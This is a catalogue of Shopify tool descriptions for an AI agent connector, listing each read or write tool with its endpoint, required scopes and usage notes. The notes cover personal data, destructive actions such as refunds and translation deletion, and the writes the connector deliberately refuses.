shopify_list_collections (read) — List the store's collections with their handles and how many products each holds. Collections are how merchants think about their catalogue — 'the sale collection', 'new in' — and that whole vocabulary was unanswerable before this. Covered by the product scopes; no new permission. GET /api/v1/tools/shopify/collections. Scopes: read_products. shopify_list_customer_addresses (read) — List a Shopify customer's addresses with their ids, and the id of their default address. Required before updating, deleting or promoting an address, and the only record of the previous values if you intend to change them. GET /api/v1/tools/shopify/customers/addresses. Scopes: read_customers. shopify_list_customer_saved_searches (read) — List a Shopify store's customer saved searches -- the pre-segment way of saving a customer filter. Deprecated by Shopify in favour of segments; pair with shopify_list_segment_migrations to find each one's replacement. GET /api/v1/tools/shopify/customers/saved-searches. Scopes: read_customers. shopify_list_customers (read) — List Shopify customers. EVERY FIELD RETURNED IS PERSONAL DATA — names, email addresses and phone numbers of members of the public who gave them to a shop. Use `query` to find the one customer the task is about rather than paging the store's whole customer list, and keep `first` small. GET /api/v1/tools/shopify/customers. Scopes: read_customers. shopify_list_delivery_customizations (read) — List the Shopify Functions intercepting checkout delivery options. GET /api/v1/tools/shopify/delivery/customizations. Scopes: read_delivery_customizations. shopify_list_delivery_profile_locations (read) — List locations a shipping profile may ship from. GET /api/v1/tools/shopify/delivery/profile-locations. Scopes: read_shipping. shopify_list_delivery_profiles (read) — List shipping profiles. locationsWithoutRatesCount is the field to read. GET /api/v1/tools/shopify/delivery/profiles. Scopes: read_shipping. shopify_list_discount_saved_searches (read) — List the discount searches the merchant has saved in their admin. Shopify publishes three separate root fields rather than one filtered list, so kind selects between them: CODE (codeDiscountSavedSearches), AUTOMATIC (automaticDiscountSavedSearches) and REDEEM_CODE (discountRedeemCodeSavedSearches). Each saved search carries the merchant's own query string, which is the useful part: it says how this shop thinks about its discounts ("expiring this month", "influencer codes"), and the same string can be passed to shopify_list_discounts to see the rows. NOTE WHAT THIS DOES NOT ENABLE. Every bulk discount mutation accepts a savedSearchId, and none of AF's expose it - the ids returned here are readable, not actionable. Reading them is how a caller turns a merchant's saved search into an explicit list of ids it can then name. GET /api/v1/tools/shopify/discounts/saved-searches. Scopes: read_discounts. shopify_list_discounts (read) — List discount codes and automatic discounts with their status, dates and usage. The used-count against the usage limit is the number that answers 'is this code being abused', which is the most common reason to look. GET /api/v1/tools/shopify/discounts. Scopes: read_discounts. shopify_list_draft_order_delivery_options (write) — Price a draft order's delivery options without creating it. Writes nothing. POST /api/v1/tools/shopify/delivery/draft-order-options. Scopes: read_draft_orders, read_shipping. shopify_list_draft_order_saved_searches (read) — List the draft-order searches the merchant has saved. The useful field is query: it is the merchant's own filter string, and passing it to shopify_list_draft_orders reproduces the view they look at. The ids are readable but not actionable - the bulk draft-order mutations here take explicit ids and no savedSearchId. GET /api/v1/tools/shopify/draft-orders/saved-searches. Scopes: read_draft_orders. shopify_list_draft_order_tags (read) — List every tag already used on this shop's draft orders. The read that makes shopify_add_draft_order_tags usable. Tags are free text, so an agent inventing one produces a tag nobody's saved searches will match and nobody will ever look at again. This returns the vocabulary the shop actually uses. Shop.draftOrderTags takes first and no cursor, so it is a single page rather than a paginated walk. GET /api/v1/tools/shopify/draft-orders/tags. Scopes: read_draft_orders. shopify_list_draft_orders (read) — List draft orders (quotes) with their status and total. Returns no customer details, for the same reason listing orders does not. GET /api/v1/tools/shopify/draft-orders. Scopes: read_draft_orders. shopify_list_events (read) — List Shopify store events -- the platform's own audit trail of creates, edits, cancellations and deletions across orders, products, collections, customers and draft orders. Filter with action:destroy, subject_type:PRODUCT or created_at:>2026-08-01. Event messages name staff and quote changed values. GET /api/v1/tools/shopify/events. Scopes: read_orders, read_products, read_customers, read_draft_orders. shopify_list_fulfillment_order_move_locations (read) — List where a fulfilment order can be moved to, and why not where it cannot. GET /api/v1/tools/shopify/fulfillment-orders/move-locations. Scopes: read_merchant_managed_fulfillment_orders. shopify_list_fulfillment_orders (read) — List the fulfilment orders one Shopify order was split into, with the assigned location and the units still outstanding on each. A Shopify order is not shipped directly — it is split per location or third-party service — so this is the step that turns an order id into the fulfilment-order id and line-item ids that shopify_create_fulfillment requires. GET /api/v1/tools/shopify/fulfillment-orders. Scopes: read_orders, read_merchant_managed_fulfillment_orders. shopify_list_fulfillments (read) — List the fulfilments recorded against an order, with their status and tracking. This is how an agent confirms that marking goods as shipped actually landed, and it produces the fulfilment ids that cancelling a fulfilment and correcting tracking both need — neither was reachable without it. Covered by the order read scope. GET /api/v1/tools/shopify/fulfillments. Scopes: read_orders. shopify_list_gift_cards (read) — List gift cards. The redeemable code is never selected or returned. GET /api/v1/tools/shopify/gift-cards. Scopes: read_gift_cards. shopify_list_held_fulfillment_orders (read) — List Shopify fulfilment orders that are currently on hold, each with its hold reason and notes. Pairs with hold and release. Filter with Shopify search syntax over order_financial_status, order_risk_level and shipping_address_coordinates_validated. GET /api/v1/tools/shopify/fulfillment-orders/held. Scopes: read_orders. shopify_list_inventory_shipments (read) — List inventory shipments. Filter with Shopify search syntax on id, status, barcode, tracking_number or destination_id. GET /api/v1/tools/shopify/inventory/shipments. Scopes: read_inventory_shipments. shopify_list_inventory_transfers (read) — List inventory transfers: which items are moving from which location to which, their status (draft, ready to ship, transferred, cancelled) and how much has arrived. Filter with Shopify search syntax on id, origin_id, destination_id, status or created_at. GET /api/v1/tools/shopify/inventory/transfers. Scopes: read_inventory_transfers. shopify_list_locations (read) — List the Shopify store's active stock locations with their ids and addresses. Call this BEFORE shopify_adjust_inventory: a stock level in Shopify is always a quantity of one item AT one location, and there is no store-wide number to move. A store with a warehouse and two shops has three separate answers to 'how many are there'. GET /api/v1/tools/shopify/locations. Scopes: read_locations. shopify_list_market_localizable_resources (read) — List metafields and metaobjects that can hold per-market values. MARKET LOCALIZATION IS NOT TRANSLATION. A translation says the same thing in another language; a market localization says a DIFFERENT thing in one market - a different size chart for the US, a different care label for the EU. Shopify's enum has exactly two members, METAFIELD and METAOBJECT, so this surface is narrow by construction. Like the translation reads, this is where digest comes from, and shopify_register_market_localizations cannot be called without one. GET /api/v1/tools/shopify/i18n/market-localizable-resources. Scopes: read_translations. shopify_list_marketing_activities (read) — List the Shopify store's marketing activities with id, title, status, tactic, channel, ad spend and budget. Check isExternal: only external activities can be updated or deleted through Agentic Fabriq. GET /api/v1/tools/shopify/marketing/activities. Scopes: read_marketing_events. shopify_list_marketing_events (read) — List Shopify marketing events - the records store traffic is attributed to - with channel handle, UTM source, medium and campaign, and dates. The channel handle is what shopify_delete_marketing_engagements needs. GET /api/v1/tools/shopify/marketing/events. Scopes: read_marketing_events. shopify_list_markets (read) — List the store's markets, with the currency each one prices in. This is the read every other tool in this family depends on: a market id is an argument to shopify_update_market, shopify_create_catalog, shopify_register_translations (as the optional market scope) and shopify_register_market_localizations, and nothing else in the connector produces one. GET /api/v1/tools/shopify/markets. Scopes: read_markets. shopify_list_menus (read) — List the Shopify storefront's navigation menus with id, title, handle and top-level items. The handle is what a theme references, so it decides whether a menu appears in the storefront. Use shopify_get_menu for the full nested item tree - you need it before shopify_update_menu, which replaces the whole tree. GET /api/v1/tools/shopify/navigation/menus. Scopes: read_online_store_navigation. shopify_list_metafield_definition_types (read) — List Shopify's metafield types with their categories and supported validations. Read it before creating a metafield definition or a metaobject field. GET /api/v1/tools/shopify/metafield-definition-types. Scopes: read_products, read_orders, read_customers, read_draft_orders. shopify_list_metafield_definitions (read) — List metafield definitions for PRODUCT, PRODUCTVARIANT, ORDER, CUSTOMER, COLLECTION or DRAFTORDER. Returns each field's key, namespace, type, validations and how many values exist. GET /api/v1/tools/shopify/metafield-definitions. Scopes: read_products, read_orders, read_customers, read_draft_orders. shopify_list_metaobject_definitions (read) — List metaobject definitions with their type strings, names, record counts and access settings. Start here before listing or writing metaobjects. GET /api/v1/tools/shopify/metaobject-definitions. Scopes: read_metaobject_definitions. shopify_list_metaobjects (read) — List metaobjects of a given type with their handles, display names and field values. Filter with Shopify search syntax including fields.{key}:{value} for filterable fields. GET /api/v1/tools/shopify/metaobjects. Scopes: read_metaobjects. shopify_list_order_transactions (read) — List payments, captures, refunds and voids. receiptJson is never selected. GET /api/v1/tools/shopify/orders/transactions. Scopes: read_orders. shopify_list_orders (read) — List Shopify orders, newest first, with id, order number, dates, payment and fulfilment status and total. Deliberately returns NO customer name, email, phone or shipping address — use shopify_get_order for one specific order when you genuinely need those. Reaches roughly the last 60 days; older orders require a Shopify approval Agentic Fabriq does not hold, so an empty result for an old date range is a permission boundary and not a bug. GET /api/v1/tools/shopify/orders. Scopes: read_orders. shopify_list_pages (read) — List the Shopify online store's pages with id, title, handle, publication state and dates. START HERE for anything touching a page: the id returned is the Shopify global id (gid://shopify/Page/...) that the other page tools need. Bodies are not returned - use shopify_get_page for one page when you need its HTML. GET /api/v1/tools/shopify/content/pages. Scopes: read_content. shopify_list_payment_disputes (read) — List chargebacks and their evidence deadlines. Read only, by Shopify's rule. GET /api/v1/tools/shopify/payments/disputes. Scopes: read_shopify_payments_disputes. shopify_list_payment_terms_templates (read) — List the payment terms a draft order can be issued on. GET /api/v1/tools/shopify/payment-terms-templates. Scopes: read_draft_orders. shopify_list_payouts (read) — List payouts and the fees behind them. Bank account detail is not selected. GET /api/v1/tools/shopify/payments/payouts. Scopes: read_shopify_payments_payouts. shopify_list_price_lists (read) — List the store's price lists. READ ONLY - AF cannot change them. THIS READ EXISTS SO THAT PRICES ARE EXPLICABLE. AF's standing position is that it never sets a price: shopify_create_product refuses one and shopify_update_variant has no price argument. A price list is the other way a price gets set - a standing rule that re-prices every product for a market until somebody removes it, with no AF action row behind any of the re-pricings, which is the E6 test. Every price-list mutation is refused on that basis and the FixedPrices forms are also E4, naming an absolute amount with no cap. Refusing the writes and withholding the read would have been the worse combination: an agent asked why a German shopper sees a different price would have had no way to find out. GET /api/v1/tools/shopify/catalogs/price-lists. Scopes: read_products. shopify_list_product_media (read) — List the media attached to a Shopify product. Returns each item's media id, alt text, content type (IMAGE, VIDEO, EXTERNAL_VIDEO, MODEL_3D), processing status and any media errors. Use the ids with the media update, delete, reorder, attach and detach tools. No image URL is returned. GET /api/v1/tools/shopify/products/media. Scopes: read_products. shopify_list_products (read) — List products in the Shopify store with their id, title, handle, status, vendor and type. START HERE for anything touching a product: the `id` returned is the Shopify global id (gid://shopify/Product/...) that every other product tool needs — it is NOT the number in the admin URL bar. Paginate with `after`, using `page_info.endCursor` from the previous page. GET /api/v1/tools/shopify/products. Scopes: read_products. shopify_list_resource_events (read) — Read the event timeline of a single Shopify Order, Product, Customer, DraftOrder or Collection, given its full GID. Answers 'what has happened to this record and who did it'. Other resource types are refused. GET /api/v1/tools/shopify/events/resource. Scopes: read_orders, read_products, read_customers, read_draft_orders. shopify_list_return_reasons (read) — List Shopify return reason definitions with handle, localised name and whether the reason has been retired. Use it to present accurate reason choices rather than guessing from the enum. GET /api/v1/tools/shopify/returns/reasons. Scopes: read_returns. shopify_list_returnable_fulfillments (read) — List Shopify returnable fulfilments for an order, each with the fulfilment line items and the quantity still available to return. Call this before shopify_create_return or shopify_calculate_return. GET /api/v1/tools/shopify/returns/returnable-fulfillments. Scopes: read_returns, read_orders. shopify_list_returns (read) — List the returns raised against one order. Reached through the order rather than store-wide on purpose: a store-wide return list is a survey of unhappy customers, and every use of this is anchored to an order someone is already looking at. GET /api/v1/tools/shopify/returns. Scopes: read_orders, read_returns. shopify_list_reverse_fulfillment_orders (read) — List the reverse fulfilment orders for a Shopify return, with status and any third-party confirmation. Start here before creating a reverse delivery or disposing of returned goods. GET /api/v1/tools/shopify/returns/reverse-fulfillment-orders. Scopes: read_returns, read_orders. shopify_list_segment_filters (read) — List Shopify's segment filter vocabulary: the query handles usable in a ShopifyQL segment condition, with their localized names and whether each accepts multiple values. GET /api/v1/tools/shopify/segments/filters. Scopes: read_customers. shopify_list_segment_members (read) — List the customers in a Shopify segment -- real people, with names, emails and phone numbers. Returns total_count so you can see the size of the segment before paging it. Prefer shopify_get_customer_segment_membership when you only need to know whether one specific customer is a member. GET /api/v1/tools/shopify/segments/members. Scopes: read_customers. shopify_list_segment_migrations (read) — List Shopify segment migrations: each row pairs a legacy savedSearchId with the segmentId that replaced it. Narrow to one saved search with saved_search_id. GET /api/v1/tools/shopify/segments/migrations. Scopes: read_customers. shopify_list_segments (read) — List Shopify customer segments with their names and the ShopifyQL query that defines each one. No personal data -- a segment is a rule. Required to obtain a segment id. GET /api/v1/tools/shopify/segments. Scopes: read_customers. shopify_list_shop_locales (read) — List the store's languages: which exist, which shoppers can see. published: false on the query means "do not filter to published only" - unpublished locales are included, which is the point: a locale has to exist before it can be translated, and it should not be published until it has been. This read is a hard prerequisite for three writes. translationsRegister and translationsRemove both say the locale must be one returned here, and shopify_create_web_presence needs a locale that is already enabled. GET /api/v1/tools/shopify/i18n/locales. Scopes: read_locales. shopify_list_standard_metafield_templates (read) — List Shopify's ready-made metafield definitions the storefront understands. GET /api/v1/tools/shopify/metafield-definitions/standard-templates. Scopes: read_products. shopify_list_tender_transactions (read) — List money received by the store, for reconciliation against a statement. GET /api/v1/tools/shopify/tender-transactions. Scopes: read_orders. shopify_list_translatable_resources (read) — List what can be translated for one resource type, with digests. THE digest FIELD IS WHY THIS READ EXISTS. shopify_register_translations will not accept a translation without the digest of the source content it translates, and this query and its sibling shopify_get_translatable_content are the only two places Shopify produces one. resource_type is restricted to twenty-two of Shopify's thirty members. The seven ONLINE_STORE_THEME* members and SHOP_POLICY are not offered: theme content is theme source (E3) and a shop policy is the store's legal text (E8). Both are recorded in docs/coverage/shopify.md. GET /api/v1/tools/shopify/i18n/translatable-resources. Scopes: read_translations. shopify_list_url_redirects (read) — List the Shopify store's URL redirects with id, source path and target. Filter with Shopify search syntax, e.g. `path:/old-page`. The ids are what the update, delete and bulk-delete actions need. GET /api/v1/tools/shopify/navigation/redirects. Scopes: read_online_store_navigation. shopify_list_variants (read) — List Shopify product variants across the store, with optional search syntax such as sku:ABC-123, inventory_quantity:<5 or product_id:123. Returns each variant's id, SKU, barcode, selected options, inventory policy and inventory item id. GET /api/v1/tools/shopify/variants. Scopes: read_products. shopify_list_web_presences (read) — List every address the storefront answers on, and what serves it. READ THIS BEFORE ANY WEB-PRESENCE WRITE. rootUrls is the live URL a shopper actually lands on for each locale, and it is the only way to tell, before changing something, which of the store's addresses is already in use and by which market. GET /api/v1/tools/shopify/markets/web-presences. Scopes: read_markets. shopify_mark_comment_not_spam (write) — Un-mark a Shopify blog comment as spam. It returns to the moderation queue rather than being published, so this publishes nothing - shopify_approve_comment does that separately. POST /api/v1/tools/shopify/content/comments/not-spam. Scopes: write_content. shopify_mark_comment_spam (write, destructive) — DESTRUCTIVE - mark a Shopify blog comment as spam, removing it from the storefront. It is not a delete: the comment survives and shopify_mark_comment_not_spam puts it back, so prefer this over shopify_delete_comment. POST /api/v1/tools/shopify/content/comments/spam. Scopes: write_content. shopify_mark_inventory_shipment_in_transit (write, destructive) — DESTRUCTIVE -- mark an inventory shipment IN_TRANSIT. The origin location's stock drops immediately. There is no un-ship; recovery is receiving at the destination. POST /api/v1/tools/shopify/inventory/shipments/mark-in-transit. Scopes: write_inventory_shipments. shopify_mark_inventory_transfer_ready_to_ship (write, destructive) — DESTRUCTIVE -- move an inventory transfer from DRAFT to READY_TO_SHIP. The quantities are reserved at the origin location and stop being sellable. Reversible by cancelling the transfer. POST /api/v1/tools/shopify/inventory/transfers/mark-ready. Scopes: write_inventory_transfers. shopify_mark_order_as_paid (write, destructive) — DESTRUCTIVE. Record an order as paid without any money moving. POST /api/v1/tools/shopify/orders/mark-as-paid. Scopes: write_orders. shopify_mark_prepared_for_pickup (write, destructive) — DESTRUCTIVE -- mark all remaining line items on Shopify fulfilment orders as ready for customer pickup. Shopify ALWAYS sends a Ready For Pickup email to the shopper and there is no way to suppress or undo it. Verify the goods are physically present first. POST /api/v1/tools/shopify/fulfillment-orders/prepared-for-pickup. Scopes: write_merchant_managed_fulfillment_orders. shopify_merge_fulfillment_orders (write, destructive) — DESTRUCTIVE -- merge sets of Shopify fulfilment orders into one. Each group needs at least two fulfilment orders and produces one NEW fulfilment order; the merged-away ids stop being live. Build the argument from the merge_candidates returned by shopify_get_fulfillment_order. Reversed by shopify_split_fulfillment_orders. POST /api/v1/tools/shopify/fulfillment-orders/merge. Scopes: write_merchant_managed_fulfillment_orders. shopify_move_fulfillment_order (write) — Reassign a fulfilment order to a different location — 'ship this from the warehouse instead of the shop'. Shopify refuses if the new location does not stock the items, which is the guard against creating an unfulfillable shipment. Reversible by moving it back; it moves no money and mails nobody. POST /api/v1/tools/shopify/fulfillment-orders/move. Scopes: write_merchant_managed_fulfillment_orders, read_locations. shopify_move_inventory (write, destructive) — DESTRUCTIVE — move sellable stock from one location to another, atomically. Without it an agent does two separate adjustments, and between them the store's total is short by the quantity — if the second fails, the stock has simply vanished. Destructive because it changes what each storefront location will sell. POST /api/v1/tools/shopify/inventory/move. Scopes: write_inventory. shopify_open_fulfillment_order (write) — Mark a scheduled Shopify fulfilment order as open so it can be fulfilled now. Also reverses shopify_report_fulfillment_progress for merchant-managed fulfilment orders. POST /api/v1/tools/shopify/fulfillment-orders/open. Scopes: write_merchant_managed_fulfillment_orders. shopify_open_order (write) — Re-open a closed order. The exact inverse of archiving one. It does NOT un-cancel: a cancelled order stays cancelled, because Shopify has no mutation for that — which is why holding a fulfilment order is the reversible way to stop a shipment. POST /api/v1/tools/shopify/orders/open. Scopes: write_orders. shopify_pin_metafield_definition (write) — Pin a metafield definition so merchants see it first in the admin. No data changes. POST /api/v1/tools/shopify/metafield-definitions/pin. Scopes: write_products, write_orders, write_customers, write_draft_orders. shopify_receive_inventory_shipment (write, destructive) — DESTRUCTIVE -- receive an inventory shipment. Give per-line quantities with reason ACCEPTED or REJECTED, or a bulk action applied to every outstanding line. Accepted units become sellable stock at the destination. Pass the same idempotency key when retrying, or a retry receives the goods twice. POST /api/v1/tools/shopify/inventory/shipments/receive. Scopes: write_inventory_shipments_received_items. shopify_refund_order (write, destructive) — DESTRUCTIVE — refund a Shopify order. REAL MONEY LEAVES THE MERCHANT'S ACCOUNT AND THERE IS NO REVERSAL. You cannot specify an amount: Agentic Fabriq asks Shopify what the named line items are worth (including tax and any discount already applied) and submits exactly that, through exactly the payment transaction Shopify names. Omit `refund_line_items` to refund the whole refundable balance. Restocking is a SEPARATE decision from refunding and defaults to not restocking. POST /api/v1/tools/shopify/orders/refund. Scopes: write_orders. shopify_refund_return (write, destructive) — DESTRUCTIVE — refund against a return. REAL MONEY LEAVES THE MERCHANT'S ACCOUNT AND THERE IS NO REVERSAL. The difference from refunding an order is the record, not the money: this one is attached to a return, so the books show what came back and why. The bound is structural — money can only be returned against line items that are on this return, so the ceiling is what the customer paid for the goods they actually sent back. Shopify additionally requires the staff user to hold the refund-orders permission. POST /api/v1/tools/shopify/returns/refund. Scopes: write_returns. shopify_register_market_localizations (write) — Give a metafield a different value in one market. Needs a digest. EVERY ENTRY CARRIES A market_localizable_content_digest AND IT IS NOT OPTIONAL, for the same reason shopify_register_translations does: the digest is a hash of the source value at read time, it comes only from shopify_get_market_localizable_content, and a stale one is how a concurrent edit gets clobbered. Read then write, in the same task. This is an UPSERT - the same key and market replaces the previous value, and the previous value is kept nowhere. The inverse shipped in the same migration is shopify_remove_market_localizations. POST /api/v1/tools/shopify/i18n/market-localizations/register. Scopes: write_translations. shopify_register_translations (write, destructive) — DESTRUCTIVE - Write translated text shoppers will read. Needs a fresh digest. EVERY TRANSLATION CARRIES A translatable_content_digest AND IT IS NOT OPTIONAL. The digest is a hash of the source content, and the only source of one is shopify_get_translatable_content (or shopify_list_translatable_resources). Read it, then write, in that order, in the same task. A digest carried over from an earlier read is how a concurrent edit gets clobbered: somebody changes the product description, the digest AF holds no longer matches, and either Shopify rejects the write - the good case - or the translation ends up attached to text that is no longer the text. This mutation is an UPSERT: a translation for the same key, locale and market replaces the previous one. The previous value is not kept anywhere, which is why the paired read matters. POST /api/v1/tools/shopify/i18n/translations/register. Scopes: write_translations. shopify_release_fulfillment_order (write) — Release a held fulfilment order so it can be shipped normally. The exact inverse of holding one, and it ships in the same migration — a hold with no release is a shipment nobody can restart through Agentic Fabriq. POST /api/v1/tools/shopify/fulfillment-orders/release. Scopes: write_merchant_managed_fulfillment_orders. shopify_remove_customer_tax_exemptions (write, destructive) — DESTRUCTIVE -- remove TaxExemption members from a Shopify customer. They are charged that tax again from their next order. Read the current list with shopify_get_customer_tax_exemptions first. POST /api/v1/tools/shopify/customers/tax-exemptions/remove. Scopes: write_customers. shopify_remove_discount_tags (write) — Remove tags from several discounts at once. The exact inverse. Worth knowing before using it: a discount tag can be what allows two product discounts to stack on one cart line, so removing one can change what a shopper is charged even though no discount was edited. NO SAVED SEARCH AND NO SEARCH STRING - explicit ids only, capped at MAX_IDS_PER_CALL. POST /api/v1/tools/shopify/discounts/tags/remove. Scopes: write_discounts. shopify_remove_draft_order_tags (write) — Remove tags from several draft orders at once. The exact inverse. NO SAVED SEARCH AND NO SEARCH STRING - explicit ids only, capped at MAX_IDS_PER_CALL. Asynchronous: it returns a job. Poll it with shopify_get_job. POST /api/v1/tools/shopify/draft-orders/tags/remove. Scopes: write_draft_orders. shopify_remove_inventory_shipment_items (write, destructive) — DESTRUCTIVE -- remove up to 100 shipment line items. The quantity returns to the parent transfer as unshipped. Reversible by adding them back. POST /api/v1/tools/shopify/inventory/shipments/items/remove. Scopes: write_inventory_shipments. shopify_remove_inventory_transfer_items (write, destructive) — DESTRUCTIVE -- remove up to 100 transfer line items. Takes TRANSFER LINE ITEM ids, not inventory item ids. On a ready-to-ship transfer the reserved quantity returns to available stock at the origin. POST /api/v1/tools/shopify/inventory/transfers/items/remove. Scopes: write_inventory_transfers. shopify_remove_market_localizations (write, destructive) — DESTRUCTIVE. Delete per-market values. Markets fall back to source. The deleted values are not recoverable from Shopify. Shoppers in the named markets see the unlocalized metafield value from the next page load, which for a size chart or a care label is a real content change, not a cosmetic one. market_ids and localization_keys multiply, and both are required - there is no "every market" or "every key" form. The inverse shipped in the same migration is shopify_register_market_localizations. Read the values first with shopify_get_market_localizable_content if they might be wanted back. POST /api/v1/tools/shopify/i18n/market-localizations/remove. Scopes: write_translations. shopify_remove_order_edit_discount (write) — Take an ORDER-LEVEL discount off an open edit session. The order-level twin of shopify_remove_order_edit_line_discount: that one removes a discount attached to a single line, this one removes a discount applied across the whole order - a discount code the shopper used, or a manual reduction a colleague applied. It RAISES what the customer would owe, so read total_outstanding before committing. AF has no forward twin for this one. Adding a fresh order-level discount is reached through shopify_add_order_edit_line_discount per line, which keeps every reduction attributable to something on the order. Nothing has moved. The order is unchanged until shopify_commit_order_edit. POST /api/v1/tools/shopify/orders/edit/discounts/remove. Scopes: write_order_edits. shopify_remove_order_edit_line_discount (write) — Take a line discount off an open edit session. NOT COMMITTED. The exact inverse of shopify_add_order_edit_line_discount, and the undo for a discount staged in error. It RAISES what the customer would owe, which is why the returned total_outstanding is worth reading before committing: an edit that increases the total can leave the order with a balance the merchant then has to collect. Nothing has moved. The order is unchanged until shopify_commit_order_edit. POST /api/v1/tools/shopify/orders/edit/discounts/remove-line. Scopes: write_order_edits. shopify_remove_order_edit_shipping_line (write) — Take a shipping charge off an open edit session. NOT COMMITTED. The correction for "we charged them for expedited delivery and then sent it by post". It only ever reduces what the customer owes, and it is bounded by what was already charged - the same property that makes a refund safe to expose and a charge not. Its forward twin is deliberately absent: adding a shipping line takes a mandatory price the agent names, with no cap parameter, so orderEditAddShippingLine is refused. Putting a removed shipping line back therefore needs a person in the Shopify admin, and the removal is only staged until commit in any case. Nothing has moved. The order is unchanged until shopify_commit_order_edit. POST /api/v1/tools/shopify/orders/edit/shipping/remove. Scopes: write_order_edits. shopify_remove_products_from_collection (write) — Take products out of a manual collection. The exact inverse of adding them, and it does not delete, unpublish or otherwise touch the products themselves. Asynchronous, like its twin. POST /api/v1/tools/shopify/collections/products/remove. Scopes: write_products. shopify_remove_tags (write) — Remove tags from an order, product, customer, draft order or collection. The exact inverse of adding them, over the same resource types and the same four scopes. Removing a tag that is not there is not an error, so it is safe to call when clearing workflow state. POST /api/v1/tools/shopify/tags/remove. Scopes: write_orders, write_products, write_customers, write_draft_orders. shopify_remove_translations (write, destructive) — DESTRUCTIVE. Delete translations. Shoppers fall back to the source. The deleted text is not recoverable from Shopify. Anyone reading the store in one of these languages sees the primary-language text for those fields from the next page load. BOTH SELECTORS ARE REQUIRED AND NEITHER HAS A DEFAULT. locales and translation_keys multiply: three locales and four keys delete twelve translations. There is deliberately no "all keys" or "all locales" form here even though the intersection is the whole point - naming what is being deleted is what makes the audit row mean something. The inverse shipped in the same migration is shopify_register_translations, which can write the text back if the caller still has it. Read it first with shopify_get_translatable_content. POST /api/v1/tools/shopify/i18n/translations/remove. Scopes: write_translations. shopify_reopen_return (write) — Re-open a closed return. The exact inverse of closing one. POST /api/v1/tools/shopify/returns/reopen. Scopes: write_returns. shopify_reorder_collection_products (write) — Reorder products inside a Shopify collection whose sort order is MANUAL. Send only the products whose position changed, as {product_id, new_position} entries with zero-based positions evaluated in order. Returns a job id; poll it with shopify_get_job. POST /api/v1/tools/shopify/collections/products/reorder. Scopes: write_products. shopify_reorder_product_media (write) — Reorder a Shopify product's media. Send only the items whose position changed, as {media_id, new_position} entries with zero-based positions evaluated in order. Position 0 is the featured image. Returns a job id; poll it with shopify_get_job. POST /api/v1/tools/shopify/products/media/reorder. Scopes: write_products. shopify_reorder_product_options (write) — Reorder a Shopify product's options and option values. Send every option, in the order you want, as {option_id, value_names} entries; value_names is optional. Presentation only. POST /api/v1/tools/shopify/products/options/reorder. Scopes: write_products. shopify_reorder_variants (write) — Reorder a Shopify product's variants. Pass the variant ids in the order you want; 1-based positions are assigned automatically. The first variant leads the product page and supplies the price shown in collection grids. POST /api/v1/tools/shopify/variants/reorder. Scopes: write_products. shopify_replace_customer_tax_exemptions (write, destructive) — DESTRUCTIVE -- replace a Shopify customer's complete list of TaxExemption members. Anything omitted is withdrawn. Read the current list with shopify_get_customer_tax_exemptions first -- that read is the only way to undo this. POST /api/v1/tools/shopify/customers/tax-exemptions/replace. Scopes: write_customers. shopify_report_fulfillment_progress (write) — Report progress on an open Shopify fulfilment order, moving it to in progress with optional notes. Reversed by shopify_open_fulfillment_order. POST /api/v1/tools/shopify/fulfillment-orders/report-progress. Scopes: write_merchant_managed_fulfillment_orders. shopify_reroute_fulfillment_orders (write) — Reroute Shopify fulfilment orders to an alternative location using the shop's order-routing settings. Optionally restrict or exclude candidate locations. Read moved_fulfillment_orders to see where each one landed; reverse with shopify_move_fulfillment_order. POST /api/v1/tools/shopify/fulfillment-orders/reroute. Scopes: write_merchant_managed_fulfillment_orders. shopify_reschedule_fulfillment_order (write) — Reschedule a Shopify fulfilment order to a future date and time. Shopify may merge it with another fulfilment order sharing the same fulfillAt and return that one instead; read the returned id. POST /api/v1/tools/shopify/fulfillment-orders/reschedule. Scopes: write_merchant_managed_fulfillment_orders. shopify_resolve_market_for_country (read) — Answer "what would a shopper in COUNTRY actually see?". THIS IS THE REPLACEMENT FOR marketByGeography, which Shopify deprecated. It resolves a buyer signal - in 2026-07 BuyerSignalInput has exactly one field, countryCode - into the currency, the tax and duty treatment, the web presences and the catalogs that shopper gets. It is the diagnostic read for this whole family: after changing a market or a web presence, this is how an agent checks what it actually did without waiting for a real shopper to find out. GET /api/v1/tools/shopify/markets/resolve. Scopes: read_markets. shopify_run_analytics_query (read) — Run a read-only ShopifyQL analytics query against the Shopify store's own data, e.g. `FROM sales SHOW total_sales GROUP BY month SINCE -3m ORDER BY month`. It writes nothing. Syntax errors come back in parse_errors alongside an empty table rather than as a failure, so an empty result with parse errors is a bad query, not a permission problem. Queries touching customer fields also need Shopify's protected-customer-data Level 2 approval. GET /api/v1/tools/shopify/shop/analytics. Scopes: read_reports. shopify_set_customer (write, destructive) — DESTRUCTIVE -- upsert a Shopify customer: matched by id, email, phone or a merchant-defined custom id, created if absent and overwritten if present. tags, tax_exemptions and addresses each REPLACE the whole list they name; addresses deletes the ones you omit. Prefer shopify_create_customer or shopify_update_customer where you know which you mean. POST /api/v1/tools/shopify/customers/set. Scopes: write_customers. shopify_set_default_customer_address (write) — Make one of a Shopify customer's existing addresses their default shipping address. Exactly reversible -- read the current default from shopify_list_customer_addresses first if you may need to put it back. POST /api/v1/tools/shopify/customers/addresses/default. Scopes: write_customers. shopify_set_delivery_customization_activation (write, destructive) — DESTRUCTIVE. Switch delivery customisations on or off at checkout. POST /api/v1/tools/shopify/delivery/customizations/activation. Scopes: write_delivery_customizations. shopify_set_fulfillment_deadline (write) — Set the fulfilment deadline on up to 100 named Shopify fulfilment orders. Returns whether Shopify accepted it. Reversed by setting the previous deadline. POST /api/v1/tools/shopify/fulfillment-orders/deadline. Scopes: write_merchant_managed_fulfillment_orders. shopify_set_inventory (write, destructive) — DESTRUCTIVE — set an exact sellable quantity at one location, guarded by compare-and-set. SAFER THAN THE RELATIVE ADJUSTMENT, not riskier: the caller must state the quantity it believes is there, and if anything moved in between Shopify refuses and writes nothing. The relative path is the one where two agents both apply their change. The comparison quantity is REQUIRED and has no default, and the option Shopify offers to skip it is not exposed at all — it is what makes an absolute set safe enough to offer. POST /api/v1/tools/shopify/inventory/set. Scopes: write_inventory. shopify_set_inventory_on_hand (write, destructive) — DESTRUCTIVE -- set the on_hand quantity of one inventory item at one location, guarded by compare-and-set. on_hand is the physical count; shopify_set_inventory writes the sellable 'available' count instead and is the right tool for almost every case. POST /api/v1/tools/shopify/inventory/on-hand/set. Scopes: write_inventory. shopify_set_inventory_shipment_barcode (write) — Set an inventory shipment's barcode. Unique store-wide; Shopify refuses a duplicate. POST /api/v1/tools/shopify/inventory/shipments/barcode. Scopes: write_inventory_shipments. 